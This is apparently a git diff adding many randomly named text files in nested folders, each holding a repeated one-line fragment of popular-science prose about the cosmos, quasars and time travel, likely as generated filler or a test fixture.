\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vlsainekkd/folder_pgmfdmqcrd/file_ddkpsucdieaixxi.txt b/big_zip/big-zip-files/folder_vlsainekkd/folder_pgmfdmqcrd/file_ddkpsucdieaixxi.txt
new file mode 100644
index 0000000..4fc8953
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vlsainekkd/folder_pgmfdmqcrd/file_ddkpsucdieaixxi.txt
@@ -0,0 +1 @@
+universe we inhabit.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vlsainekkd/folder_pgmfdmqcrd/file_epzdrslregrardvj.txt b/big_zip/big-zip-files/folder_vlsainekkd/folder_pgmfdmqcrd/file_epzdrslregrardvj.txt
new file mode 100644
index 0000000..4fc8953
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vlsainekkd/folder_pgmfdmqcrd/file_epzdrslregrardvj.txt
@@ -0,0 +1 @@
+universe we inhabit.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vlsainekkd/folder_pgmfdmqcrd/file_hdbvcsdgdx.txt b/big_zip/big-zip-files/folder_vlsainekkd/folder_pgmfdmqcrd/file_hdbvcsdgdx.txt
new file mode 100644
index 0000000..4fc8953
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vlsainekkd/folder_pgmfdmqcrd/file_hdbvcsdgdx.txt
@@ -0,0 +1 @@
+universe we inhabit.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vlsainekkd/folder_pgmfdmqcrd/file_itoujknoqxnntxex.txt b/big_zip/big-zip-files/folder_vlsainekkd/folder_pgmfdmqcrd/file_itoujknoqxnntxex.txt
new file mode 100644
index 0000000..4fc8953
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vlsainekkd/folder_pgmfdmqcrd/file_itoujknoqxnntxex.txt
@@ -0,0 +1 @@
+universe we inhabit.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vlsainekkd/folder_pgmfdmqcrd/file_iwwywlluvhmvncksjzq.txt b/big_zip/big-zip-files/folder_vlsainekkd/folder_pgmfdmqcrd/file_iwwywlluvhmvncksjzq.txt
new file mode 100644
index 0000000..4fc8953
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vlsainekkd/folder_pgmfdmqcrd/file_iwwywlluvhmvncksjzq.txt
@@ -0,0 +1 @@
+universe we inhabit.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vlsainekkd/folder_pgmfdmqcrd/file_jaqoiyfvtxywgjqmgsvflxvh.txt b/big_zip/big-zip-files/folder_vlsainekkd/folder_pgmfdmqcrd/file_jaqoiyfvtxywgjqmgsvflxvh.txt
new file mode 100644
index 0000000..4fc8953
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vlsainekkd/folder_pgmfdmqcrd/file_jaqoiyfvtxywgjqmgsvflxvh.txt
@@ -0,0 +1 @@
+universe we inhabit.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vlsainekkd/folder_pgmfdmqcrd/file_jmurfpbl.txt b/big_zip/big-zip-files/folder_vlsainekkd/folder_pgmfdmqcrd/file_jmurfpbl.txt
new file mode 100644
index 0000000..4fc8953
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vlsainekkd/folder_pgmfdmqcrd/file_jmurfpbl.txt
@@ -0,0 +1 @@
+universe we inhabit.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vlsainekkd/folder_pgmfdmqcrd/file_lxlmayberzzxeguikbzna.txt b/big_zip/big-zip-files/folder_vlsainekkd/folder_pgmfdmqcrd/file_lxlmayberzzxeguikbzna.txt
new file mode 100644
index 0000000..4fc8953
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vlsainekkd/folder_pgmfdmqcrd/file_lxlmayberzzxeguikbzna.txt
@@ -0,0 +1 @@
+universe we inhabit.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vlsainekkd/folder_pgmfdmqcrd/file_nqwwbxfhpeuqedmshhzy.txt b/big_zip/big-zip-files/folder_vlsainekkd/folder_pgmfdmqcrd/file_nqwwbxfhpeuqedmshhzy.txt
new file mode 100644
index 0000000..4fc8953
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vlsainekkd/folder_pgmfdmqcrd/file_nqwwbxfhpeuqedmshhzy.txt
@@ -0,0 +1 @@
+universe we inhabit.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vlsainekkd/folder_pgmfdmqcrd/file_osjmbrtcfrtfndvkf.txt b/big_zip/big-zip-files/folder_vlsainekkd/folder_pgmfdmqcrd/file_osjmbrtcfrtfndvkf.txt
new file mode 100644
index 0000000..4fc8953
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vlsainekkd/folder_pgmfdmqcrd/file_osjmbrtcfrtfndvkf.txt
@@ -0,0 +1 @@
+universe we inhabit.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vlsainekkd/folder_pgmfdmqcrd/file_palgpriknoinycgeitwzuuun.txt b/big_zip/big-zip-files/folder_vlsainekkd/folder_pgmfdmqcrd/file_palgpriknoinycgeitwzuuun.txt
new file mode 100644
index 0000000..4fc8953
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vlsainekkd/folder_pgmfdmqcrd/file_palgpriknoinycgeitwzuuun.txt
@@ -0,0 +1 @@
+universe we inhabit.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vlsainekkd/folder_pgmfdmqcrd/file_pfbzgqffakaroe.txt b/big_zip/big-zip-files/folder_vlsainekkd/folder_pgmfdmqcrd/file_pfbzgqffakaroe.txt
new file mode 100644
index 0000000..4fc8953
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vlsainekkd/folder_pgmfdmqcrd/file_pfbzgqffakaroe.txt
@@ -0,0 +1 @@
+universe we inhabit.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vlsainekkd/folder_pgmfdmqcrd/file_qncjgmaet.txt b/big_zip/big-zip-files/folder_vlsainekkd/folder_pgmfdmqcrd/file_qncjgmaet.txt
new file mode 100644
index 0000000..4fc8953
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vlsainekkd/folder_pgmfdmqcrd/file_qncjgmaet.txt
@@ -0,0 +1 @@
+universe we inhabit.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vlsainekkd/folder_pgmfdmqcrd/file_qnmhemyynoiyjkrpxpp.txt b/big_zip/big-zip-files/folder_vlsainekkd/folder_pgmfdmqcrd/file_qnmhemyynoiyjkrpxpp.txt
new file mode 100644
index 0000000..4fc8953
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vlsainekkd/folder_pgmfdmqcrd/file_qnmhemyynoiyjkrpxpp.txt
@@ -0,0 +1 @@
+universe we inhabit.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vlsainekkd/folder_pgmfdmqcrd/file_shuxzusniteosg.txt b/big_zip/big-zip-files/folder_vlsainekkd/folder_pgmfdmqcrd/file_shuxzusniteosg.txt
new file mode 100644
index 0000000..4fc8953
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vlsainekkd/folder_pgmfdmqcrd/file_shuxzusniteosg.txt
@@ -0,0 +1 @@
+universe we inhabit.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vlsainekkd/folder_pgmfdmqcrd/file_soghrsethxfq.txt b/big_zip/big-zip-files/folder_vlsainekkd/folder_pgmfdmqcrd/file_soghrsethxfq.txt
new file mode 100644
index 0000000..4fc8953
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vlsainekkd/folder_pgmfdmqcrd/file_soghrsethxfq.txt
@@ -0,0 +1 @@
+universe we inhabit.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vlsainekkd/folder_pgmfdmqcrd/file_vfwjgaatiycmetvuegjkafj.txt b/big_zip/big-zip-files/folder_vlsainekkd/folder_pgmfdmqcrd/file_vfwjgaatiycmetvuegjkafj.txt
new file mode 100644
index 0000000..4fc8953
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vlsainekkd/folder_pgmfdmqcrd/file_vfwjgaatiycmetvuegjkafj.txt
@@ -0,0 +1 @@
+universe we inhabit.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vlsainekkd/folder_pgmfdmqcrd/file_xatlvincg.txt b/big_zip/big-zip-files/folder_vlsainekkd/folder_pgmfdmqcrd/file_xatlvincg.txt
new file mode 100644
index 0000000..4fc8953
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vlsainekkd/folder_pgmfdmqcrd/file_xatlvincg.txt
@@ -0,0 +1 @@
+universe we inhabit.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vlsainekkd/folder_pgmfdmqcrd/file_yuxjouuegmouolpkuwx.txt b/big_zip/big-zip-files/folder_vlsainekkd/folder_pgmfdmqcrd/file_yuxjouuegmouolpkuwx.txt
new file mode 100644
index 0000000..4fc8953
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vlsainekkd/folder_pgmfdmqcrd/file_yuxjouuegmouolpkuwx.txt
@@ -0,0 +1 @@
+universe we inhabit.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vlsainekkd/folder_pgmfdmqcrd/file_zpuzrspla.txt b/big_zip/big-zip-files/folder_vlsainekkd/folder_pgmfdmqcrd/file_zpuzrspla.txt
new file mode 100644
index 0000000..4fc8953
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vlsainekkd/folder_pgmfdmqcrd/file_zpuzrspla.txt
@@ -0,0 +1 @@
+universe we inhabit.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vlsainekkd/folder_pgmfdmqcrd/folder_etloznqnll/file_ajvrmute.txt b/big_zip/big-zip-files/folder_vlsainekkd/folder_pgmfdmqcrd/folder_etloznqnll/file_ajvrmute.txt
new file mode 100644
index 0000000..7410162
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vlsainekkd/folder_pgmfdmqcrd/folder_etloznqnll/file_ajvrmute.txt
@@ -0,0 +1 @@
+But his insights were suppressed, his influence on history made minor. The mystics were
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vlsainekkd/folder_pgmfdmqcrd/folder_etloznqnll/file_atqedzqzgttumbpimr.txt b/big_zip/big-zip-files/folder_vlsainekkd/folder_pgmfdmqcrd/folder_etloznqnll/file_atqedzqzgttumbpimr.txt
new file mode 100644
index 0000000..7410162
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vlsainekkd/folder_pgmfdmqcrd/folder_etloznqnll/file_atqedzqzgttumbpimr.txt
@@ -0,0 +1 @@
+But his insights were suppressed, his influence on history made minor. The mystics were
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vlsainekkd/folder_pgmfdmqcrd/folder_etloznqnll/file_bhfhkklhssbnphtbruejzrbe.txt b/big_zip/big-zip-files/folder_vlsainekkd/folder_pgmfdmqcrd/folder_etloznqnll/file_bhfhkklhssbnphtbruejzrbe.txt
new file mode 100644
index 0000000..7410162
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vlsainekkd/folder_pgmfdmqcrd/folder_etloznqnll/file_bhfhkklhssbnphtbruejzrbe.txt
@@ -0,0 +1 @@
+But his insights were suppressed, his influence on history made minor. The mystics were
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vlsainekkd/folder_pgmfdmqcrd/folder_etloznqnll/file_dowqpjeolnrl.txt b/big_zip/big-zip-files/folder_vlsainekkd/folder_pgmfdmqcrd/folder_etloznqnll/file_dowqpjeolnrl.txt
new file mode 100644
index 0000000..7410162
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vlsainekkd/folder_pgmfdmqcrd/folder_etloznqnll/file_dowqpjeolnrl.txt
@@ -0,0 +1 @@
+But his insights were suppressed, his influence on history made minor. The mystics were
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vlsainekkd/folder_pgmfdmqcrd/folder_etloznqnll/file_dzwrolwnebiebtmsk.txt b/big_zip/big-zip-files/folder_vlsainekkd/folder_pgmfdmqcrd/folder_etloznqnll/file_dzwrolwnebiebtmsk.txt
new file mode 100644
index 0000000..7410162
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vlsainekkd/folder_pgmfdmqcrd/folder_etloznqnll/file_dzwrolwnebiebtmsk.txt
@@ -0,0 +1 @@
+But his insights were suppressed, his influence on history made minor. The mystics were
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vlsainekkd/folder_pgmfdmqcrd/folder_etloznqnll/file_edkkyqcnj.txt b/big_zip/big-zip-files/folder_vlsainekkd/folder_pgmfdmqcrd/folder_etloznqnll/file_edkkyqcnj.txt
new file mode 100644
index 0000000..7410162
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vlsainekkd/folder_pgmfdmqcrd/folder_etloznqnll/file_edkkyqcnj.txt
@@ -0,0 +1 @@
+But his insights were suppressed, his influence on history made minor. The mystics were
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vlsainekkd/folder_pgmfdmqcrd/folder_etloznqnll/file_favxamddovdosbuoxjejci.txt b/big_zip/big-zip-files/folder_vlsainekkd/folder_pgmfdmqcrd/folder_etloznqnll/file_favxamddovdosbuoxjejci.txt
new file mode 100644
index 0000000..7410162
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vlsainekkd/folder_pgmfdmqcrd/folder_etloznqnll/file_favxamddovdosbuoxjejci.txt
@@ -0,0 +1 @@
+But his insights were suppressed, his influence on history made minor. The mystics were
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vlsainekkd/folder_pgmfdmqcrd/folder_etloznqnll/file_fyecpwwqfkhkrej.txt b/big_zip/big-zip-files/folder_vlsainekkd/folder_pgmfdmqcrd/folder_etloznqnll/file_fyecpwwqfkhkrej.txt
new file mode 100644
index 0000000..7410162
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vlsainekkd/folder_pgmfdmqcrd/folder_etloznqnll/file_fyecpwwqfkhkrej.txt
@@ -0,0 +1 @@
+But his insights were suppressed, his influence on history made minor. The mystics were
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vlsainekkd/folder_pgmfdmqcrd/folder_etloznqnll/file_gfxzfteigqek.txt b/big_zip/big-zip-files/folder_vlsainekkd/folder_pgmfdmqcrd/folder_etloznqnll/file_gfxzfteigqek.txt
new file mode 100644
index 0000000..7410162
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vlsainekkd/folder_pgmfdmqcrd/folder_etloznqnll/file_gfxzfteigqek.txt
@@ -0,0 +1 @@
+But his insights were suppressed, his influence on history made minor. The mystics were
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vlsainekkd/folder_pgmfdmqcrd/folder_etloznqnll/file_hvyotdtdktueeuxivqeswq.txt b/big_zip/big-zip-files/folder_vlsainekkd/folder_pgmfdmqcrd/folder_etloznqnll/file_hvyotdtdktueeuxivqeswq.txt
new file mode 100644
index 0000000..7410162
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vlsainekkd/folder_pgmfdmqcrd/folder_etloznqnll/file_hvyotdtdktueeuxivqeswq.txt
@@ -0,0 +1 @@
+But his insights were suppressed, his influence on history made minor. The mystics were
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vlsainekkd/folder_pgmfdmqcrd/folder_etloznqnll/file_kzplfmtmwhin.txt b/big_zip/big-zip-files/folder_vlsainekkd/folder_pgmfdmqcrd/folder_etloznqnll/file_kzplfmtmwhin.txt
new file mode 100644
index 0000000..7410162
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vlsainekkd/folder_pgmfdmqcrd/folder_etloznqnll/file_kzplfmtmwhin.txt
@@ -0,0 +1 @@
+But his insights were suppressed, his influence on history made minor. The mystics were
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vlsainekkd/folder_pgmfdmqcrd/folder_etloznqnll/file_maeqohjlbwayf.txt b/big_zip/big-zip-files/folder_vlsainekkd/folder_pgmfdmqcrd/folder_etloznqnll/file_maeqohjlbwayf.txt
new file mode 100644
index 0000000..7410162
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vlsainekkd/folder_pgmfdmqcrd/folder_etloznqnll/file_maeqohjlbwayf.txt
@@ -0,0 +1 @@
+But his insights were suppressed, his influence on history made minor. The mystics were
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vlsainekkd/folder_pgmfdmqcrd/folder_etloznqnll/file_mlxlvlwtecl.txt b/big_zip/big-zip-files/folder_vlsainekkd/folder_pgmfdmqcrd/folder_etloznqnll/file_mlxlvlwtecl.txt
new file mode 100644
index 0000000..7410162
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vlsainekkd/folder_pgmfdmqcrd/folder_etloznqnll/file_mlxlvlwtecl.txt
@@ -0,0 +1 @@
+But his insights were suppressed, his influence on history made minor. The mystics were
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vlsainekkd/folder_pgmfdmqcrd/folder_etloznqnll/file_mvlofvsphjfttxxdp.txt b/big_zip/big-zip-files/folder_vlsainekkd/folder_pgmfdmqcrd/folder_etloznqnll/file_mvlofvsphjfttxxdp.txt
new file mode 100644
index 0000000..7410162
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vlsainekkd/folder_pgmfdmqcrd/folder_etloznqnll/file_mvlofvsphjfttxxdp.txt
@@ -0,0 +1 @@
+But his insights were suppressed, his influence on history made minor. The mystics were
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vlsainekkd/folder_pgmfdmqcrd/folder_etloznqnll/file_nijngwukzeblff.txt b/big_zip/big-zip-files/folder_vlsainekkd/folder_pgmfdmqcrd/folder_etloznqnll/file_nijngwukzeblff.txt
new file mode 100644
index 0000000..7410162
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vlsainekkd/folder_pgmfdmqcrd/folder_etloznqnll/file_nijngwukzeblff.txt
@@ -0,0 +1 @@
+But his insights were suppressed, his influence on history made minor. The mystics were
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vlsainekkd/folder_pgmfdmqcrd/folder_etloznqnll/file_rmjlqswwgwcsqil.txt b/big_zip/big-zip-files/folder_vlsainekkd/folder_pgmfdmqcrd/folder_etloznqnll/file_rmjlqswwgwcsqil.txt
new file mode 100644
index 0000000..7410162
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vlsainekkd/folder_pgmfdmqcrd/folder_etloznqnll/file_rmjlqswwgwcsqil.txt
@@ -0,0 +1 @@
+But his insights were suppressed, his influence on history made minor. The mystics were
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vlsainekkd/folder_pgmfdmqcrd/folder_etloznqnll/file_stvkunkzvraircgikwwlf.txt b/big_zip/big-zip-files/folder_vlsainekkd/folder_pgmfdmqcrd/folder_etloznqnll/file_stvkunkzvraircgikwwlf.txt
new file mode 100644
index 0000000..7410162
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vlsainekkd/folder_pgmfdmqcrd/folder_etloznqnll/file_stvkunkzvraircgikwwlf.txt
@@ -0,0 +1 @@
+But his insights were suppressed, his influence on history made minor. The mystics were
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vlsainekkd/folder_pgmfdmqcrd/folder_etloznqnll/file_tdcjnucojksdmef.txt b/big_zip/big-zip-files/folder_vlsainekkd/folder_pgmfdmqcrd/folder_etloznqnll/file_tdcjnucojksdmef.txt
new file mode 100644
index 0000000..7410162
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vlsainekkd/folder_pgmfdmqcrd/folder_etloznqnll/file_tdcjnucojksdmef.txt
@@ -0,0 +1 @@
+But his insights were suppressed, his influence on history made minor. The mystics were
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vlsainekkd/folder_pgmfdmqcrd/folder_etloznqnll/file_tgrkumcwivilhqthhtdrfu.txt b/big_zip/big-zip-files/folder_vlsainekkd/folder_pgmfdmqcrd/folder_etloznqnll/file_tgrkumcwivilhqthhtdrfu.txt
new file mode 100644
index 0000000..7410162
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vlsainekkd/folder_pgmfdmqcrd/folder_etloznqnll/file_tgrkumcwivilhqthhtdrfu.txt
@@ -0,0 +1 @@
+But his insights were suppressed, his influence on history made minor. The mystics were
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vlsainekkd/folder_pgmfdmqcrd/folder_etloznqnll/file_vzsowvtwfegb.txt b/big_zip/big-zip-files/folder_vlsainekkd/folder_pgmfdmqcrd/folder_etloznqnll/file_vzsowvtwfegb.txt
new file mode 100644
index 0000000..7410162
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vlsainekkd/folder_pgmfdmqcrd/folder_etloznqnll/file_vzsowvtwfegb.txt
@@ -0,0 +1 @@
+But his insights were suppressed, his influence on history made minor. The mystics were
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vlsainekkd/folder_pgmfdmqcrd/folder_etloznqnll/file_wxnazsszraxchgcwbgzobsu.txt b/big_zip/big-zip-files/folder_vlsainekkd/folder_pgmfdmqcrd/folder_etloznqnll/file_wxnazsszraxchgcwbgzobsu.txt
new file mode 100644
index 0000000..7410162
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vlsainekkd/folder_pgmfdmqcrd/folder_etloznqnll/file_wxnazsszraxchgcwbgzobsu.txt
@@ -0,0 +1 @@
+But his insights were suppressed, his influence on history made minor. The mystics were
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vlsainekkd/folder_pgmfdmqcrd/folder_etloznqnll/file_ysoheeixuvkyaxyaf.txt b/big_zip/big-zip-files/folder_vlsainekkd/folder_pgmfdmqcrd/folder_etloznqnll/file_ysoheeixuvkyaxyaf.txt
new file mode 100644
index 0000000..7410162
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vlsainekkd/folder_pgmfdmqcrd/folder_etloznqnll/file_ysoheeixuvkyaxyaf.txt
@@ -0,0 +1 @@
+But his insights were suppressed, his influence on history made minor. The mystics were
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vlsainekkd/folder_pgmfdmqcrd/folder_etloznqnll/folder_eyyzmckora/alusqikbyxp.txt b/big_zip/big-zip-files/folder_vlsainekkd/folder_pgmfdmqcrd/folder_etloznqnll/folder_eyyzmckora/alusqikbyxp.txt
new file mode 100644
index 0000000..0b6e311
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vlsainekkd/folder_pgmfdmqcrd/folder_etloznqnll/folder_eyyzmckora/alusqikbyxp.txt
@@ -0,0 +1 @@
+densely populated with intelligent beings. But the Darwinian lesson is clear: There will be
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vlsainekkd/folder_pgmfdmqcrd/folder_etloznqnll/folder_eyyzmckora/dohtxzsgloggbeiegjysep.txt b/big_zip/big-zip-files/folder_vlsainekkd/folder_pgmfdmqcrd/folder_etloznqnll/folder_eyyzmckora/dohtxzsgloggbeiegjysep.txt
new file mode 100644
index 0000000..1e2e247
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vlsainekkd/folder_pgmfdmqcrd/folder_etloznqnll/folder_eyyzmckora/dohtxzsgloggbeiegjysep.txt
@@ -0,0 +1 @@
+The word ‘quasar’ is an acronym for ‘quasi-stellar radio source.’ After it became
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vlsainekkd/folder_pgmfdmqcrd/folder_etloznqnll/folder_eyyzmckora/ekwvvalqjebotip.txt b/big_zip/big-zip-files/folder_vlsainekkd/folder_pgmfdmqcrd/folder_etloznqnll/folder_eyyzmckora/ekwvvalqjebotip.txt
new file mode 100644
index 0000000..718c5db
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vlsainekkd/folder_pgmfdmqcrd/folder_etloznqnll/folder_eyyzmckora/ekwvvalqjebotip.txt
@@ -0,0 +1 @@
+students calling for their mothers. And at the base of the bridge, inside a big cistern
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vlsainekkd/folder_pgmfdmqcrd/folder_etloznqnll/folder_eyyzmckora/ewyrqqfrbspoowmlgpgnsbom.txt b/big_zip/big-zip-files/folder_vlsainekkd/folder_pgmfdmqcrd/folder_etloznqnll/folder_eyyzmckora/ewyrqqfrbspoowmlgpgnsbom.txt
new file mode 100644
index 0000000..4af4819
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vlsainekkd/folder_pgmfdmqcrd/folder_etloznqnll/folder_eyyzmckora/ewyrqqfrbspoowmlgpgnsbom.txt
@@ -0,0 +1 @@
+to the evolution of life and intelligence should have been operating throughout the Cosmos.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vlsainekkd/folder_pgmfdmqcrd/folder_etloznqnll/folder_eyyzmckora/file_ekvikcsmyfogwgiu.txt b/big_zip/big-zip-files/folder_vlsainekkd/folder_pgmfdmqcrd/folder_etloznqnll/folder_eyyzmckora/file_ekvikcsmyfogwgiu.txt
new file mode 100644
index 0000000..89dfe63
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vlsainekkd/folder_pgmfdmqcrd/folder_etloznqnll/folder_eyyzmckora/file_ekvikcsmyfogwgiu.txt
@@ -0,0 +1 @@
+that kind of time travel were possible, then every imaginable alternative history might in
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vlsainekkd/folder_pgmfdmqcrd/folder_etloznqnll/folder_eyyzmckora/file_eltaehlsfqqmtq.txt b/big_zip/big-zip-files/folder_vlsainekkd/folder_pgmfdmqcrd/folder_etloznqnll/folder_eyyzmckora/file_eltaehlsfqqmtq.txt
new file mode 100644
index 0000000..89dfe63
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vlsainekkd/folder_pgmfdmqcrd/folder_etloznqnll/folder_eyyzmckora/file_eltaehlsfqqmtq.txt
@@ -0,0 +1 @@
+that kind of time travel were possible, then every imaginable alternative history might in
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vlsainekkd/folder_pgmfdmqcrd/folder_etloznqnll/folder_eyyzmckora/file_krrerarevhoce.txt b/big_zip/big-zip-files/folder_vlsainekkd/folder_pgmfdmqcrd/folder_etloznqnll/folder_eyyzmckora/file_krrerarevhoce.txt
new file mode 100644
index 0000000..89dfe63
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vlsainekkd/folder_pgmfdmqcrd/folder_etloznqnll/folder_eyyzmckora/file_krrerarevhoce.txt
@@ -0,0 +1 @@
+that kind of time travel were possible, then every imaginable alternative history might in
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vlsainekkd/folder_pgmfdmqcrd/folder_etloznqnll/folder_eyyzmckora/file_lengwdlkhjncyyqip.txt b/big_zip/big-zip-files/folder_vlsainekkd/folder_pgmfdmqcrd/folder_etloznqnll/folder_eyyzmckora/file_lengwdlkhjncyyqip.txt
new file mode 100644
index 0000000..89dfe63
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vlsainekkd/folder_pgmfdmqcrd/folder_etloznqnll/folder_eyyzmckora/file_lengwdlkhjncyyqip.txt
@@ -0,0 +1 @@
+that kind of time travel were possible, then every imaginable alternative history might in
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vlsainekkd/folder_pgmfdmqcrd/folder_etloznqnll/folder_eyyzmckora/file_loqewysjosrw.txt b/big_zip/big-zip-files/folder_vlsainekkd/folder_pgmfdmqcrd/folder_etloznqnll/folder_eyyzmckora/file_loqewysjosrw.txt
new file mode 100644
index 0000000..89dfe63
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vlsainekkd/folder_pgmfdmqcrd/folder_etloznqnll/folder_eyyzmckora/file_loqewysjosrw.txt
@@ -0,0 +1 @@
+that kind of time travel were possible, then every imaginable alternative history might in
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vlsainekkd/folder_pgmfdmqcrd/folder_etloznqnll/folder_eyyzmckora/file_ngniqvbdwrujnqhplawcc.txt b/big_zip/big-zip-files/folder_vlsainekkd/folder_pgmfdmqcrd/folder_etloznqnll/folder_eyyzmckora/file_ngniqvbdwrujnqhplawcc.txt
new file mode 100644
index 0000000..89dfe63
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vlsainekkd/folder_pgmfdmqcrd/folder_etloznqnll/folder_eyyzmckora/file_ngniqvbdwrujnqhplawcc.txt
@@ -0,0 +1 @@
+that kind of time travel were possible, then every imaginable alternative history might in
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vlsainekkd/folder_pgmfdmqcrd/folder_etloznqnll/folder_eyyzmckora/file_rmsxvmokvddnkdmwxdpg.txt b/big_zip/big-zip-files/folder_vlsainekkd/folder_pgmfdmqcrd/folder_etloznqnll/folder_eyyzmckora/file_rmsxvmokvddnkdmwxdpg.txt
new file mode 100644
index 0000000..89dfe63
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vlsainekkd/folder_pgmfdmqcrd/folder_etloznqnll/folder_eyyzmckora/file_rmsxvmokvddnkdmwxdpg.txt
@@ -0,0 +1 @@
+that kind of time travel were possible, then every imaginable alternative history might in
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_vlsainekkd/folder_pgmfdmqcrd/folder_etloznqnll/folder_eyyzmckora/file_rovdnifxpfmtjgfyba.txt b/big_zip/big-zip-files/folder_vlsainekkd/folder_pgmfdmqcrd/folder_etloznqnll/folder_eyyzmckora/file_rovdnifxpfmtjgfyba.txt
new file mode 100644
index 0000000..89dfe63
--- /dev/null
+++ b/big_zip/big-zip-files/folder_vlsainekkd/folder_pgmfdmqcrd/folder_etloznqnll/folder_eyyzmckora/file_rovdnifxpfmtjgfyba.txt
@@ -0,0 +1 @@
+that kind of time travel were possible, then every imaginable alternative history might in
\ No newline at end of file
